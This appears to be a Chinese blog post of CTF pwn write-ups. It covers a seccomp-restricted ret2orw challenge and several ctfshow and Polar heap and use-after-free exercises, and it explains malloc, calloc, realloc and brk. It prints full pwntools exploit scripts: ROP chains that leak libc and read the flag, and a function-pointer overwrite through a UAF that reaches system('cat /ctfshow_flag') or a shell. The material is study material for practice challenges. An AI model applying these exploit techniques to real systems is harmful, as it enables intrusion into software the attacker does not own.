一点旧存货加一点新东西

ret2orw

感觉会成我印象很深刻的ORW入门题

开局先checksec

┌──(kali㉿kali)-[~/桌面/ret2orw]
└─$ checksec ret2orw  
[*] '/home/kali/桌面/ret2orw/ret2orw'
  Arch:       amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:         NX enabled
  PIE:       No PIE (0x400000)
  SHSTK:     Enabled
  IBT:       Enabled
  Stripped:   No
                           

RELRO半开,NX开着

先回到IDA去看内容

main函数很简单,一堆puts然后进入一个vuln函数

ssize_t vuln()
{
 _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

 return read(0, buf, 0x100uLL);
}

vuln函数里面能看到很明显的栈溢出漏洞

在考虑能不能打ret2text了

但是去查字符内容,发现没东西

看到一个所谓backdoor函数和hint函数

backdoor函数还算有概率能用上

int backdoor()
{
 return system("really?\n");
}

另外一个hint函数什么都没有

但是没字符啊,还因为NX没法传shellcode,也就没法打ret2shellcode

好,那打ret2libc能行吗,反正libc文件给了,直接填板子能打吗?

看看题目名称,ORW

open,read,write,三个函数缩写为ORW,ORW获取内容的适用条件一般是无法正常打开execve啥的情况下

这个时候可以看到存在沙箱函数,seccomp

所以常规的libc大概率不能成功打通,我们先查查沙箱限制了哪些函数

┌──(kali㉿kali)-[~/桌面/ret2orw]
└─$ seccomp-tools dump ./ret2orw
line CODE JT   JF     K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
                                                 

这里A = sys_number ,已经是系统调用号

所以常规的函数,像open,read,write什么的都还能用,就execve被ban掉了

那就是一个很常规的ORW了

首先是考虑泄露出puts@address

那这个时候就先写成:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote('gz.imxbt.cn', 20123)
context.binary = 'ret2orw'
elf = ELF('./ret2orw')
libc = ELF('./libc.so.6')
offset = 0x20
pop_rdi = 0x00000000004012ce #: pop rdi ; ret
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x4012F2

#泄漏libc
pl = b'a'*(offset) + p64(0)
pl += p64(pop_rdi)
pl += p64(puts_got)
pl += p64(puts_plt)
pl += p64(main)

io.recvuntil("oh,what's this?\n")
io.sendline(pl)
leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f"Leaked puts@libc: {hex(leak)}")

这里拿到libc然后去找基地址求偏移

#计算偏移指,也就是基地址
libc_offset = libc.sym['puts']
libc_base = leak - libc_offset
log.info(f"Leaked libc_base:{hex(libc_base)}")


#常规ret2libc就按下面的方法打,找system找bin/sh在libc里的地址然后算偏移
# system_addr = libc_base + libc.sym['system']
# bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
# log.info(f"Leaked system_addr:{hex(system_addr)}")
# log.info(f"Leaked bin_sh_addr:{hex(bin_sh_addr)}")

#ORW就有点不一样了,因为没办法用execve,只能去libc里面找open,read,write啥的,然后还要为了调用这些函数,去找一些必要的寄存器地址,这仨函数必用的寄存器是`rdi` `rsi` `rdx`
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
# 0x000000000002be51 : pop rsi ; ret
pop_rsi = libc_base + 0x000000000002be51
#   0x00000000000904a9 : pop rdx ; pop rbx ; ret
pop_rdx_rbx = libc_base + 0x00000000000904a9

然后开始写个ROP链就好了

第一次read,是把flag扔到我想要的bss段地址去,所以看着传参就行了,比如第一次read那个0x40,别太离谱就行了,0x多少基本上都能用,反正够写还不大得没边都能玩

这里的本质是把flag这个文件的文件名写进bss段,经验证,搞成read(0, bss, 0x8)都能玩,这一次存的没有内容,只有文件名

open就没什么好说的,打开嘛

第二次read就从bss的地址开始往后读,读的就是flag的内容,能读完flag就行,你如果短了flag肯定就读不全,能读全flag就行了

剩下的更简单,puts进行输出就好了

时序情况如下:

+---------------------+       +-------------------------+
| 发送第二个payload     | --> | 程序执行ROP链:           |
| (覆盖返回地址+ROP指令) |     | 1. read(0, bss, 0x40)   |
+---------------------+       |   (等待输入)           |
                            +-------------------------+
                                    |
                                    | 程序暂停,等待输入
                                    v
+---------------------+       +-------------------------+
| 发送 "./flag" 字符串   | -->   | read将字符串写入.bss段     |
+---------------------+       +-------------------------+
                                    |
                                    v
                            +-------------------------+
                            | 继续执行ROP链:           |
                            | 2. open(bss, 0, 0)     |
                            | 3. read(3, bss, 0x40)   |
                            | 4. puts(bss)           |
                            +-------------------------+

代码实现:

#然后就是构造第二个payload溢出使执行我们想要实现的ROP链
#read(0, bss, 0x40)
payload = b'a'*(offset + 8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x40) + p64(0)
payload += p64(read_addr)
#open(bss, 0, 0)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_rbx) + p64(0) + p64(0)
payload += p64(open_addr)
#read(3, bss, 0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x40) + p64(0)
payload += p64(read_addr)
#puts(bss)
payload += p64(pop_rdi) + p64(bss)
payload += p64(puts_plt)

# payload = payload.ljust(0x100, b'a')

io.recvuntil("oh,what's this?\n")
io.send(payload)
sleep(1)
io.send('./flag')

io.interactive()

还有一个小问题没说,那bss的地址怎么搞?

回到IDA看看

.bss:0000000000404060 __bss_start

这不有了?但是还是不行,bss段有很多要用的数据,如果就直接写到这,那我们的程序不得直接报错故障退出?

所以隔远点就好了

bss = 0x404060 + 0x600

0x600也好,0x400也行,反正隔开点别把重要数据覆盖了就行(实测改成0x23都行,不过讲道理0x23都已经覆盖了一些bss段数据了,只能说有些能覆盖有些不能覆盖,应该还能往下压)

这题感触还算挺深的,debug真是个好东西

完整exp:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote('gz.imxbt.cn', 20125)

# io = process("./ret2orw")

context.binary = 'ret2orw'
elf = ELF('./ret2orw')
libc = ELF('./libc.so.6')
offset = 0x20
pop_rdi = 0x00000000004012ce #: pop rdi ; ret
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
bss = 0x404060 + 0x230
main = 0x4012F2

#泄漏libc
pl = b'a'*(offset) + p64(0)
pl += p64(pop_rdi)
pl += p64(puts_got)
pl += p64(puts_plt)
pl += p64(main)

io.recvuntil("oh,what's this?\n")
io.sendline(pl)
leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f"Leaked puts@libc: {hex(leak)}")

# 泄漏出的puts_libc:0x7f4e5e01de50

#计算偏移指,也就是基地址
libc_offset = libc.sym['puts']
libc_base = leak - libc_offset
log.info(f"Leaked libc_base:{hex(libc_base)}")


#常规ret2libc就按下面的方法打,找system找bin/sh在libc里的地址然后算偏移

# system_addr = libc_base + libc.sym['system']

# bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

# log.info(f"Leaked system_addr:{hex(system_addr)}")

# log.info(f"Leaked bin_sh_addr:{hex(bin_sh_addr)}")

#ORW就有点不一样了
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
#0x000000000002be51 : pop rsi ; ret
pop_rsi = libc_base + 0x000000000002be51

#   0x00000000000904a9 : pop rdx ; pop rbx ; ret

pop_rdx_rbx = libc_base + 0x00000000000904a9



#然后就是构造第二个payload溢出使执行我们想要实现的ROP链
#read(0, bss, 0x40)
payload = b'a'*(offset + 8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x8) + p64(0)
payload += p64(read_addr)
#open(bss, 0, 0)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx_rbx) + p64(0) + p64(0)
payload += p64(open_addr)
#read(3, bss, 0x40)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx_rbx) + p64(0x100) + p64(0)
payload += p64(read_addr)
#puts(bss)
payload += p64(pop_rdi) + p64(bss)
payload += p64(puts_plt)

# payload = payload.ljust(0x100, b'a')

io.recvuntil("oh,what's this?\n")
io.send(payload)
sleep(1)
io.send('./flag')

io.interactive()

pwn135

malloc, calloc, realloc 详解

这三个函数都是 C 语言中用于动态内存分配的标准库函数(定义在 <stdlib.h> 中),但它们的行为和用途有显著区别:


1. malloc

void* malloc(size_t size);
  • 功能:分配指定字节数的未初始化内存块
  • 参数size 表示需要分配的字节数
  • 返回值:成功时返回指向分配内存起始地址的指针;失败时返回 NULL
  • 内存状态:分配的内存内容是未初始化的(内容随机,可能是垃圾值)
  • 典型用例: int *arr = (int*)malloc(10 * sizeof(int));  // 分配 10 个整数的空间

2. calloc

void* calloc(size_t num, size_t size);
  • 功能:为指定数量的元素分配内存,并将内存初始化为零
  • 参数
    • num:元素数量
    • size:每个元素的字节大小
  • 等效操作:相当于 malloc(num * size) + memset(ptr, 0, num * size)
  • 内存状态:分配的内存内容全部初始化为 0(整数为 0,指针为 NULL
  • 典型用例: int *arr = (int*)calloc(10, sizeof(int));  // 分配并清零 10 个整数的空间

3. realloc

void* realloc(void* ptr, size_t new_size);
  • 功能调整已分配内存块的大小(扩大或缩小)
  • 参数
    • ptr:指向先前分配的内存块的指针(若为 NULL,则等价于 malloc(new_size)
    • new_size:新的内存大小(字节数)
  • 行为
    • 扩大内存:尝试在原内存块后扩展空间;若失败则分配新内存块,复制旧数据,释放原内存
    • 缩小内存:直接截断原内存块,多余部分被释放
    • ptrNULL:等价于 malloc(new_size)
  • 内存状态
    • 旧内存的内容保留到新内存的最小部分(min(old_size, new_size)
    • 新增内存区域未初始化(若扩大内存)
  • 典型用例: int *arr = (int*)malloc(5 * sizeof(int));  // 初始分配
    arr = (int*)realloc(arr, 10 * sizeof(int)); // 扩容到 10 个整数

关键区别总结

特性malloccallocrealloc
初始化❌ 未初始化(内容随机)✅ 初始化为全 0保留旧数据,新增部分未初始化
参数总字节数 (size)元素数量 (num) + 元素大小 (size)原指针 (ptr) + 新字节数 (new_size)
安全风险可能包含敏感垃圾值无敏感数据残留风险需手动检查分配是否成功
性能较快(不初始化)较慢(需写零操作)可能涉及内存复制

在原始代码中的体现

// 选项 1: malloc
printf("Enter the size to allocate using malloc: ");
__isoc99_scanf("%lu", &size);
ptr = malloc(size);  // 分配未初始化内存

// 选项 2: calloc
printf("Enter the size to allocate using calloc: ");
__isoc99_scanf("%lu", &size);
ptr = calloc(1uLL, size);  // 分配并初始化为 0

// 选项 3: realloc
printf("Enter the size to allocate using realloc: ");
__isoc99_scanf("%lu", &size);
ptr = realloc(ptr, size);  // 调整已分配内存的大小

注意:代码中 calloc(1uLL, size) 的第一个参数固定为 1,实际分配 1 * size 字节的内存

本题拿flag倒是极简单

很常规不过的选择菜单

输入的内容识别为v1,等于2调用calloc

3就realloc

4是cat flag

1是malloc

pwn136

仍然是这三个动态内存管理函数

但是这题主要想要让我们认识的是各自的free效果

仍然是传4拿flag

pwn137

这段代码演示了 sbrkbrk 系统调用的使用,用于操作程序堆空间的边界(program break)。最终目的是读取并输出 /ctfshow_flag 文件的内容。逻辑逐步解析如下:


1. 获取并打印当前进程ID

v0 = getpid();
printf("sbrk example:%d\n", v0);
  • 调用 getpid() 获取当前进程的ID。
  • 打印示例标题和进程ID(例如 sbrk example:1234)。

2. 获取初始堆边界地址

addr = (char *)sbrk(0LL);
printf("Program Break Location1:%p\n", addr);
getchar();
  • sbrk(0) 返回当前堆空间的结束地址(program break),不改变堆大小
  • 打印初始堆边界地址(如 0x12345678)。
  • getchar() 暂停程序,等待用户按回车继续(方便观察过程)。

3. 扩展堆空间(增加 4096 字节)

brk(addr + 4096);
v1 = sbrk(0LL);
printf("Program Break Location2:%p\n", v1);
getchar();
  • brk(addr + 4096) 将堆边界扩大到 addr + 4096(一页内存的大小)。
  • 再次调用 sbrk(0) 获取新的堆边界地址。
  • 打印新地址(预期值:addr + 0x1000,因为 4096 = 0x1000 字节)。
  • 再次暂停等待用户回车。

4. 收缩堆空间(恢复初始大小)

brk(addr);
v4 = sbrk(0LL);
printf("Program Break Location3:%p\n", v4);
getchar();
  • brk(addr) 将堆边界恢复为初始地址。
  • 第三次调用 sbrk(0) 获取当前堆边界地址。
  • 打印地址(预期值:与 Location1 相同)。
  • 最后一次暂停等待用户回车。

5. 读取并输出 flag 文件

return system("cat /ctfshow_flag");
  • 调用 system("cat /ctfshow_flag") 执行系统命令。
  • 该命令会读取并打印 /ctfshow_flag 文件的内容(通常用于 CTF 比赛的 flag 获取)。
  • 返回值是 system 函数的执行结果(通常不需要关注)。

关键点总结

步骤操作目的
初始状态sbrk(0) 获取堆边界记录堆的起始地址 addr
扩展堆brk(addr + 4096)增加 4096 字节(1页)的堆空间
收缩堆brk(addr)释放新增的堆空间,恢复初始大小
最终操作system("cat /ctfshow_flag")输出目标文件内容(核心目的)

注意事项

sbrkbrk 的区别

  • sbrk(increment):按增量调整堆边界,返回旧边界地址。
  • brk(address):直接设置堆边界为指定地址。

代码核心功能是动态调整堆空间并最终读取 flag 文件,堆操作本身是演示性质,实际 CTF 挑战可能通过内存布局变化触发漏洞或绕过保护机制

随意输入,反正回车让程序到return位置返回flag内容就行了

pwn138

当用户申请内存过大时,ptmalloc2会选择通过mmap()函数创建匿名映射段供用户使用,并通过unmmap()函数进行回收。

看书说是()

pwn141

第一个很简单的UAF

先简述一下UAF吧

UAF(Use-After-Free)即”释放后使用”,是一种常见的内存安全漏洞类型。其核心概念是:

  1. 内存释放后仍被使用
    • 程序释放了一块堆内存(通过 free() 等函数)
    • 但后续代码仍通过保留的指针访问这块已释放的内存
  2. 悬垂指针问题
    • 指向已释放内存的指针称为”悬垂指针”
    • 这些指针没有被置为 NULL,仍然指向原来的内存地址

漏洞产生流程

分配内存使用内存释放内存未置空指针内存被重新分配通过旧指针访问

具体步骤

  1. 内存分配:程序分配内存块 A(例如 malloc(32)
  2. 内存使用:程序使用指针 P 操作内存块 A
  3. 内存释放:程序调用 free(P) 释放内存块 A
  4. 未置空:指针 P 没有被置为 NULL(关键漏洞点)
  5. 内存重用:系统将释放的内存重新分配给其他对象(内存块 B)
  6. 非法访问:程序通过原始指针 P 访问已释放的内存
    • 此时实际访问的是内存块 B 的内容
    • 造成数据污染或控制流劫持

UAF 的危害

  1. 数据篡改
    • 攻击者可以修改重分配内存的内容
    • 影响程序关键数据(如函数指针)
  2. 控制流劫持
    • 当内存包含函数指针时(如本题的 print_note_content
    • 覆盖函数指针可执行任意代码
  3. 信息泄露
    • 读取重分配内存中的敏感数据

在本题中的体现

在您提供的代码中:

free(*(void **)(*((_DWORD *)&notelist + v1) + 4));
free(*((void **)&notelist + v1));
// 缺少:*((_DWORD *)&notelist + v1) = NULL; // 关键修复

导致:

  1. 释放笔记后指针未置空
  2. 新添加的笔记重用已释放内存
  3. 通过 pri(0) 访问时,实际调用被覆盖的函数指针 (pri(0)是exp里的内容)

理论如上,现在开始针对本题去具体分析一下:

常规检查一下checksec

    Arch:       i386-32-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:         NX enabled
  PIE:       No PIE (0x8048000)
  SHSTK:     Enabled
  IBT:       Enabled
  Stripped:   No

32位

进main函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
 int v3; // eax
 char buf[4]; // [esp+0h] [ebp-10h] BYREF
 unsigned int v5; // [esp+4h] [ebp-Ch]
 int *p_argc; // [esp+8h] [ebp-8h]

 p_argc = &argc;
 v5 = __readgsdword(0x14u);
 init();
 logo();
 while ( 1 )
{
   menu();
   read(0, buf, 4u);
   v3 = atoi(buf);
   if ( v3 == 4 )
     exit(0);
   if ( v3 > 4 )
  {
LABEL_12:
     puts("Invalid choice!");
  }
   else
  {
     switch ( v3 )
    {
       case 3:
         print_note();
         break;
       case 1:
         add_note();
         break;
       case 2:
         del_note();
         break;
       default:
         goto LABEL_12;
    }
  }
}
}

内容还是蛮清晰的,打印目录,然后switch语句进行分支选择

目录里也是一一对应的,去掉exit,也就刚好3个功能

分别是add,del,print

先看add

没啥东西,最多加五条note

然后就是del

del存在free操作

但是有点问题

  if ( *((_DWORD *)&notelist + v1) )
{
   free(*(void **)(*((_DWORD *)&notelist + v1) + 4));
   free(*((void **)&notelist + v1));
   /*((_DWORD *)&notelist + v1) = NULL; */
   puts("Success");
}

仔细看这里

free掉之后,没有置零

正常来说应该是需要注释里的这一行才能避免存在UAF

但是刚好没有置零

那就可以考虑进行UAF了

同时可以看到存在一个use函数

int use()
{
 return system("cat /ctfshow_flag");
}

那目标很明显了

首先是添加两条note

然后再del掉

根据uaf原理

再一次add note的时候

因为上一次的堆块没有置零

所以可以对其进行劫持,篡改其指针到use函数的地址上去

然后再print第一个note

就能获取到flag

exp:

from pwn import *

context(arch='i386', log_level='debug', os='linux')
io = process("./pwn141")
# io = remote("pwn.challenge.ctf.show", 28210)
elf = ELF('./pwn141')
use = elf.sym['use']

def add(size, content):
   io.recvuntil(b"choice :")
   io.sendline(b'1')
   io.recvuntil(b"Note size :")
   io.sendline(str(size).encode())  
   io.recvuntil(b"Content :")
   io.send(content)  

def delete(idx):
   io.recvuntil(b"choice :")
   io.sendline(b"2")
   io.recvuntil(b"Index :")
   io.sendline(str(idx).encode())  

def pri(idx):
   io.recvuntil(b"choice :")
   io.sendline(b'3')
   io.recvuntil(b"Index :")
   io.sendline(str(idx).encode())

# 创建两个note
add(32, b'aaaa')  #32是内存分配的最小大小
add(32, b'bbbb')

# 删除note(索引0和1)
delete(0)
delete(1)

# 重新添加笔记覆盖指针
add(8, p32(use))  


pri(0)

io.interactive()

Polar

heap_Easy_Uaf

进来就先查一下吧

Arch:       amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:         NX enabled
PIE:       No PIE (0x400000)
Stripped:   No
Debuginfo: Yes

main分析一下看到仍然是常规的菜单题

前面的几个函数都没细看

但是进这个are

可以明显的发现有问题

int __cdecl Are()
{
 int result; // eax
 int size; // [rsp+4h] [rbp-1Ch] BYREF
 char *a; // [rsp+8h] [rbp-18h]
 char *b; // [rsp+10h] [rbp-10h]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 a = (char *)malloc(0x68uLL);
 strcpy(a, "Flag");
 free(a);
 size = 0;
 puts("Please Input Chunk size :");
 __isoc99_scanf("%d", &size);
 getchar();
 b = (char *)malloc(size);
 puts("Please Input Content : ");
 gets(b);
 result = strncmp(a, "Flag", 4uLL);
 if ( !result )
   return system("/bin/sh");
 return result;
}

很明显的出现了flag字样

再看

有free操作

释放了a,但并没有将a指针置为NULL

这就导致了a成为了一个悬垂指针

然后呢,又malloc了一个b

这里就出现了一个特性问题

glibc 的 malloc 有一个特性:相同大小的 free chunk 会被复用

这里a的大小是0x68 = 104

如果说我们在输入size大小的时候,给b堆块同样于a的大小,那么就会复用刚刚被free掉的a块

这样,a ,b就指向了同一块内存区域

然后继续往下进行

gets(b);
result = strncmp(a, "Flag", 4uLL);
if ( !result )
   return system("/bin/sh");
return result;

if ( !result )会判断result是否为0,为0则真,进入下面的system

而result的值取决于a的前四字节和”Flag”的比较

如果一致,那么就会返回0,反之则返回非0

但是我们能传入并修改的是b的内存区域

所以就是一开始说到的点

要想修改a的内存区域,但是a一开始就被free掉了,所以只能想办法对其进行复用

所以在malloc 这个b块时,必须要使其大小和a等同,才能依靠glibc的特性,使其指向同一块内存区域

这样就能通过写b块完成对a指向内容的覆写

分析就这么多

exp:

from pwn import *
io = remote("1.95.36.136",2128)

io.sendline(b'5')
io.sendline(b'104')
io.sendline(b'Flag')
io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇